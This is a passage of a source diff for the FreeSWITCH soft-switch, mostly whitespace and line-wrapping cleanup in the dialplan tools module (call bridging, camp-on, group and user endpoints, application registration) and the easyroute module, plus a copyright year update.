camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
cid_name, cid_number, data);
} else {
camp_data = (char *)data;
camp_data = (char *) data;
}
if (!(moh = switch_channel_get_variable(caller_channel, "hold_music"))) {
@@ -2275,22 +2279,22 @@ SWITCH_STANDARD_APP(audio_bridge_function)
do {
fail = 0;
status = switch_ivr_originate(NULL, &peer_session, &cause, camp_data, campon_timeout, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL);
if (!switch_channel_ready(caller_channel)) {
fail = 1;
break;
}
if (status == SWITCH_STATUS_SUCCESS) {
camping = 0;
break;
} else {
fail = 1;
}
if (camping) {
if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
!switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) &&
!switch_true(switch_channel_get_variable(caller_channel, "bypass_media"))) {
switch_threadattr_create(&thd_attr, switch_core_session_get_pool(session));
@@ -2311,15 +2315,15 @@ SWITCH_STANDARD_APP(audio_bridge_function)
if (fail) {
int64_t wait = campon_sleep * 1000000;
while(stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
while (stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
switch_yield(100000);
wait -= 100000;
}
}
}
} while (camping && switch_channel_ready(caller_channel));
if (thread) {
stake.running = 0;
switch_channel_set_flag(caller_channel, CF_NOT_READY);
@@ -2327,17 +2331,18 @@ SWITCH_STANDARD_APP(audio_bridge_function)
}
switch_channel_clear_flag(caller_channel, CF_NOT_READY);
if (stake.do_xfer && !zstr(v_campon_fallback_exten)) {
switch_ivr_session_transfer(session,
v_campon_fallback_exten,
switch_ivr_session_transfer(session,
v_campon_fallback_exten,
switch_channel_get_variable(caller_channel, "campon_fallback_dialplan"),
switch_channel_get_variable(caller_channel, "campon_fallback_context"));
return;
}
} else {
if ((status = switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
if ((status =
switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
fail = 1;
}
}
@@ -2350,23 +2355,23 @@ SWITCH_STANDARD_APP(audio_bridge_function)
'true' to continue on all failures.
'false' to not continue.
A list of codes either names or numbers eg "user_busy,normal_temporary_failure,603"
failure_causes acts as the opposite version
failure_causes acts as the opposite version
EXCEPTION... ATTENDED_TRANSFER never is a reason to continue.......
*/
if (cause != SWITCH_CAUSE_ATTENDED_TRANSFER) {
if (continue_on_fail || failure_causes) {
const char *cause_str;
char cause_num[35] = "";
cause_str = switch_channel_cause2str(cause);
switch_snprintf(cause_num, sizeof(cause_num), "%u", cause);
if (failure_causes) {
char *lbuf = switch_core_session_strdup(session, failure_causes);
char *argv[256] = { 0 };
int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
int i, x = 0;
for (i = 0; i < argc; i++) {
if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
x++;
@@ -2374,7 +2379,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
}
}
if (!x) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Failure causes [%s]: Cause: %s\n", failure_causes, cause_str);
return;
}
@@ -2388,10 +2393,10 @@ SWITCH_STANDARD_APP(audio_bridge_function)
char *argv[256] = { 0 };
int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
int i;
for (i = 0; i < argc; i++) {
if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Continue on fail [%s]: Cause: %s\n", continue_on_fail, cause_str);
return;
}
@@ -2410,7 +2415,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
}
return;
} else {
if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE)) {
switch_ivr_signal_bridge(session, peer_session);
} else {
@@ -2439,10 +2444,10 @@ SWITCH_STANDARD_APP(audio_bridge_function)
if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_BYPASS_MEDIA_AFTER_BRIDGE_VARIABLE))) {
switch_channel_set_flag(caller_channel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
}
switch_ivr_multi_threaded_bridge(session, peer_session, func, a_key, b_key);
}
if (peer_session) {
switch_core_session_rwunlock(peer_session);
}
@@ -2452,17 +2457,19 @@ SWITCH_STANDARD_APP(audio_bridge_function)
/* fake chan_error */
switch_endpoint_interface_t *error_endpoint_interface;
static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
switch_io_routines_t error_io_routines = {
/*.outgoing_channel */ error_outgoing_channel
};
static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
switch_call_cause_t cause = switch_channel_str2cause(outbound_profile->destination_number);
if (cause == SWITCH_CAUSE_NONE) {
@@ -2476,17 +2483,19 @@ static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session
/* fake chan_group */
switch_endpoint_interface_t *group_endpoint_interface;
static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
switch_io_routines_t group_io_routines = {
/*.outgoing_channel */ group_outgoing_channel
};
static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
char *group = NULL;
switch_call_cause_t cause = SWITCH_CAUSE_NONE;
@@ -2501,33 +2510,32 @@ static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session
group = strdup(outbound_profile->destination_number);
if (!group) goto done;
if (!group)
goto done;
if ((domain = strchr(group, '@'))) {
*domain++ = '\0';
} else {
domain = switch_core_get_variable("domain");
}
if (!domain) {
goto done;
}
if (var_event && (skip=switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
if (var_event && (skip = switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
var_event = NULL;
}
template = switch_mprintf("${group_call(%s@%s)}", group, domain);
if (session) {
switch_channel_t *channel = switch_core_session_get_channel(session);
dest = switch_channel_expand_variables(channel, template);
if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
} else if (var_event) {
@@ -2542,28 +2550,27 @@ static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session
if (!dest) {
goto done;
}
if (var_event) {
cid_name_override = switch_event_get_header(var_event, "origination_caller_id_name");
cid_num_override = switch_event_get_header(var_event, "origination_caller_id_number");
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
}
if ((flags & SOF_FORKED_DIAL)) {
myflags |= SOF_NOBLOCK;
}
if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
cid_name_override, cid_num_override, NULL, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
const char *context;
switch_caller_profile_t *cp;
new_channel = switch_core_session_get_channel(*new_session);
if ((context = switch_channel_get_variable(new_channel, "group_context"))) {
if ((cp = switch_channel_get_caller_profile(new_channel))) {
cp->context = switch_core_strdup(cp->pool, context);
@@ -2578,9 +2585,9 @@ static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session
if (dest && dest != template) {
switch_safe_free(dest);
}
switch_safe_free(template);
switch_safe_free(group);
switch_safe_free(template);
switch_safe_free(group);
if (cause == SWITCH_CAUSE_NONE) {
cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
@@ -2596,7 +2603,8 @@ switch_endpoint_interface_t *user_endpoint_interface;
static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
switch_io_routines_t user_io_routines = {
/*.outgoing_channel */ user_outgoing_channel
};
@@ -2604,7 +2612,8 @@ switch_io_routines_t user_io_routines = {
static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
switch_xml_t x_domain = NULL, xml = NULL, x_user = NULL, x_group = NULL, x_param, x_params;
char *user = NULL, *domain = NULL;
@@ -2622,22 +2631,22 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
user = strdup(outbound_profile->destination_number);
if (!user) goto done;
if (!user)
goto done;
if ((domain = strchr(user, '@'))) {
*domain++ = '\0';
} else {
domain = switch_core_get_variable("domain");
}
if (!domain) {
goto done;
}
if (var_event && (skip=switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
(var = switch_event_get_header(var_event, "leg_timeout"))) {
if (var_event && (skip = switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
var_event = NULL;
@@ -2744,7 +2753,7 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
switch_event_dup(&event, var_event);
switch_event_del_header(event, "dialed_user");
switch_event_del_header(event, "dialed_domain");
if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
(varval = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(varval);
}
@@ -2765,10 +2774,12 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
switch_snprintf(stupid, sizeof(stupid), "user/%s", user);
if (switch_stristr(stupid, d_dest)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n", stupid);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n",
stupid);
cause = SWITCH_CAUSE_INVALID_IE_CONTENTS;
} else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
cid_name_override, cid_num_override, outbound_profile, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
} else if (switch_ivr_originate(session, new_session, &cause, d_dest, timelimit, NULL,
cid_name_override, cid_num_override, outbound_profile, var_event, myflags,
cancel_cause) == SWITCH_STATUS_SUCCESS) {
const char *context;
switch_caller_profile_t *cp;
@@ -2812,7 +2823,7 @@ static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
if (params) {
switch_event_destroy(&params);
}
if (var_event && var_event_orig != var_event) {
switch_event_destroy(&var_event);
}
@@ -2851,7 +2862,7 @@ SWITCH_STANDARD_APP(wait_for_silence_function)
uint32_t thresh, silence_hits, listen_hits, timeout_ms = 0;
int argc;
char *lbuf = NULL;
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 3) {
thresh = atoi(argv[0]);
@@ -2869,8 +2880,8 @@ SWITCH_STANDARD_APP(wait_for_silence_function)
return;
}
}
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", WAIT_FOR_SILENCE_SYNTAX);
}
@@ -2880,12 +2891,17 @@ static switch_status_t event_chat_send(const char *proto, const char *from, cons
switch_event_t *event;
if (switch_event_create(&event, SWITCH_EVENT_RECV_MESSAGE) == SWITCH_STATUS_SUCCESS) {
if (proto) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
if (from) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
if (subject) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
if (hint) switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
if (body) switch_event_add_body(event, "%s", body);
if (to) {
if (proto)
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Proto", proto);
if (from)
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "From", from);
if (subject)
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Subject", subject);
if (hint)
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Hint", hint);
if (body)
switch_event_add_body(event, "%s", body);
if (to) {
const char *v;
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "To", to);
if ((v = switch_core_get_variable(to))) {
@@ -2899,18 +2915,18 @@ static switch_status_t event_chat_send(const char *proto, const char *from, cons
switch_event_destroy(&event);
}
return SWITCH_STATUS_MEMERR;
}
static switch_status_t api_chat_send(const char *proto, const char *from, const char *to, const char *subject,
const char *body, const char *type, const char *hint)
{
if (to) {
if (to) {
const char *v;
switch_stream_handle_t stream = { 0 };
char *cmd = NULL, *arg;
if (!(v = switch_core_get_variable(to))) {
v = to;
}
@@ -2928,16 +2944,15 @@ static switch_status_t api_chat_send(const char *proto, const char *from, const
switch_api_execute(cmd, arg, NULL, &stream);
if (proto) {
switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from,
!zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
switch_core_chat_send(proto, "api", to, hint && strchr(hint, '/') ? hint : from, !zstr(type) ? type : NULL, (char *) stream.data, NULL, NULL);
}
switch_safe_free(stream.data);
free(cmd);
}
return SWITCH_STATUS_SUCCESS;
}
@@ -2998,7 +3013,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
SWITCH_ADD_CHAT(chat_interface, "event", event_chat_send);
SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
SWITCH_ADD_API(api_interface, "strepoch", "Convert a date string into epoch time", strepoch_api_function, "<string>");
SWITCH_ADD_API(api_interface, "chat", "chat", chat_api_function, "<proto>|<from>|<to>|<message>|[<content-type>]");
SWITCH_ADD_API(api_interface, "strftime", "strftime", strftime_api_function, "<format_string>");
@@ -3016,7 +3031,8 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "check_acl", "Check an ip against an ACL list", "Check an ip against an ACL list", check_acl_function,
"<ip> <acl | cidr> [<hangup_cause>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "verbose_events", "Make ALL Events verbose.", "Make ALL Events verbose.", verbose_events_function, "",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "early_hangup", "Enable early hangup", "", early_hangup_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "sleep", "Pause a channel", SLEEP_LONG_DESC, sleep_function, "<pausemilliseconds>", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "delay_echo", "echo audio at a specified delay", "Delay n ms", delay_function, "<delay ms>", SAF_NONE);
@@ -3027,19 +3043,23 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
SWITCH_ADD_APP(app_interface, "answer", "Answer the call", "Answer the call for a channel.", answer_function, "", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "hangup", "Hangup the call", "Hangup the call for a channel.", hangup_function, "[<cause>]", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "set_name", "Name the channel", "Name the channel", set_name_function, "<name>", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "presence", "Send Presence", "Send Presence.", presence_function, "<rpid> <status> [<id>]",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "log", "Logs to the logger", LOG_LONG_DESC, log_function, "<log_level> <log_string>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "info", "Display Call Info", "Display Call Info", info_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "event", "Fire an event", "Fire an event", event_function, "", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "sound_test", "Analyze Audio", "Analyze Audio", sound_test_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "export", "Export a channel variable across a bridge", EXPORT_LONG_DESC, export_function, "<varname>=<value>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "set", "Set a channel variable", SET_LONG_DESC, set_function, "<varname>=<value>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "set_global", "Set a global variable", SET_GLOBAL_LONG_DESC, set_global_function, "<varname>=<value>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "set_profile_var", "Set a caller profile variable", SET_PROFILE_VAR_LONG_DESC, set_profile_var_function,
"<varname>=<value>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "unset", "Unset a channel variable", UNSET_LONG_DESC, unset_function, "<varname>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "ring_ready", "Indicate Ring_Ready", "Indicate Ring_Ready on a channel.", ring_ready_function, "", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "remove_bugs", "Remove media bugs", "Remove all media bugs from a channel.", remove_bugs_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "break", "Break", "Set the break flag.", break_function, "", SAF_SUPPORT_NOMEDIA);
@@ -3063,21 +3083,22 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
SWITCH_ADD_APP(app_interface, "sched_transfer", SCHED_TRANSF_DESCR, SCHED_TRANSF_DESCR, sched_transfer_function,
"[+]<time> <extension> <dialplan> <context>", SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "execute_extension", "Execute an extension", "Execute an extension", exe_function, EXE_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
SWITCH_ADD_APP(app_interface, "sched_heartbeat", "Enable Scheduled Heartbeat", "Enable Scheduled Heartbeat",
sched_heartbeat_function, SCHED_HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
SWITCH_ADD_APP(app_interface, "enable_heartbeat", "Enable Media Heartbeat", "Enable Media Heartbeat",
heartbeat_function, HEARTBEAT_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "mkdir", "Create a directory", "Create a directory", mkdir_function, MKDIR_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "soft_hold", "Put a bridged channel on hold", "Put a bridged channel on hold", soft_hold_function, SOFT_HOLD_SYNTAX,
SAF_NONE);
SWITCH_ADD_APP(app_interface, "bind_meta_app", "Bind a key to an application", "Bind a key to an application", dtmf_bind_function, BIND_SYNTAX,
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
SWITCH_ADD_APP(app_interface, "unbind_meta_app", "Unbind a key from an application", "Unbind a key from an application", dtmf_unbind_function,
UNBIND_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "intercept", "intercept", "intercept", intercept_function, INTERCEPT_SYNTAX, SAF_NONE);
SWITCH_ADD_APP(app_interface, "eavesdrop", "eavesdrop on a uuid", "eavesdrop on a uuid", eavesdrop_function, eavesdrop_SYNTAX, SAF_MEDIA_TAP);
SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX, SAF_MEDIA_TAP);
SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC );
SWITCH_ADD_APP(app_interface, "three_way", "three way call with a uuid", "three way call with a uuid", three_way_function, threeway_SYNTAX,
SAF_MEDIA_TAP);
SWITCH_ADD_APP(app_interface, "set_user", "Set a User", "Set a User", set_user_function, SET_USER_SYNTAX, SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "stop_dtmf", "stop inband dtmf", "Stop detecting inband dtmf.", stop_dtmf_session_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "start_dtmf", "Detect dtmf", "Detect inband dtmf on the session", dtmf_session_function, "", SAF_MEDIA_TAP);
SWITCH_ADD_APP(app_interface, "stop_dtmf_generate", "stop inband dtmf generation", "Stop generating inband dtmf.",
@@ -3092,11 +3113,11 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
SWITCH_ADD_APP(app_interface, "park_state", "Park State", "Park State", park_state_function, "", SAF_NONE);
SWITCH_ADD_APP(app_interface, "gentones", "Generate Tones", "Generate tones to the channel", gentones_function, "<tgml_script>[|<loops>]", SAF_NONE);
SWITCH_ADD_APP(app_interface, "playback", "Playback File", "Playback a file to the channel", playback_function, "<path>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
SWITCH_ADD_APP(app_interface, "endless_playback", "Playback File Endlessly", "Endlessly Playback a file to the channel",
endless_playback_function, "<path>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "att_xfer", "Attended Transfer", "Attended Transfer", att_xfer_function, "<channel_url>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "read", "Read Digits", "Read Digits", read_function, "<min> <max> <file> <var_name> <timeout> <terminators>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
SWITCH_ADD_APP(app_interface, "play_and_get_digits", "Play and get Digits", "Play and get Digits",
play_and_get_digits_function, "<min> <max> <tries> <timeout> <terminators> <file> <invalid_file> <var_name> <regexp>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "stop_record_session", "Stop Record Session", STOP_SESS_REC_DESC, stop_record_session_function, "<path>", SAF_NONE);
SWITCH_ADD_APP(app_interface, "record_session", "Record Session", SESS_REC_DESC, record_session_function, "<path> [+<timeout>]", SAF_MEDIA_TAP);
@@ -3116,8 +3137,10 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_dptools_load)
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "say", "say", "say", say_function, SAY_SYNTAX, SAF_NONE);
SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX, SAF_NONE);
SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX, SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_APP(app_interface, "wait_for_silence", "wait_for_silence", "wait_for_silence", wait_for_silence_function, WAIT_FOR_SILENCE_SYNTAX,
SAF_NONE);
SWITCH_ADD_APP(app_interface, "session_loglevel", "session_loglevel", "session_loglevel", session_loglevel_function, SESSION_LOGLEVEL_SYNTAX,
SAF_SUPPORT_NOMEDIA);
SWITCH_ADD_DIALPLAN(dp_interface, "inline", inline_dialplan_hunt);
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -38,22 +38,22 @@
#include <switch.h>
typedef struct easyroute_results{
char limit[16];
char dialstring[256];
char group[16];
char acctcode[17];
char translated[17];
typedef struct easyroute_results {
char limit[16];
char dialstring[256];
char group[16];
char acctcode[17];
char translated[17];
} easyroute_results_t;
typedef struct route_callback {
char gateway[129];
char group[129];
char techprofile[129];
char limit[129];
char acctcode[129];
char translated[17];
char gateway[129];
char group[129];
char techprofile[129];
char limit[129];
char acctcode[129];
char translated[17];
} route_callback_t;
static struct {
@@ -97,13 +97,13 @@ static switch_status_t load_config(void)
char *cf = "easyroute.conf";
switch_xml_t cfg, xml = NULL, param, settings;
switch_status_t status = SWITCH_STATUS_SUCCESS;
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
status = SWITCH_STATUS_FALSE;
goto done;
}
if ((settings = switch_xml_child(cfg, "settings"))) {
for (param = switch_xml_child(settings, "param"); param; param = param->next) {
char *var = (char *) switch_xml_attr_soft(param, "name");
@@ -123,8 +123,8 @@ static switch_status_t load_config(void)
}
}
}
done:
done:
if (zstr(globals.db_username)) {
set_global_db_username("root");
}
@@ -151,7 +151,7 @@ static switch_status_t load_config(void)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database!\n");
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", globals.db_dsn);
if (!globals.custom_query){
if (!globals.custom_query) {
if (switch_odbc_handle_exec(globals.master_odbc, "select count(*) from numbers", NULL, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot find SQL Database! (Where\'s the numbers table\?\?)\n");
}
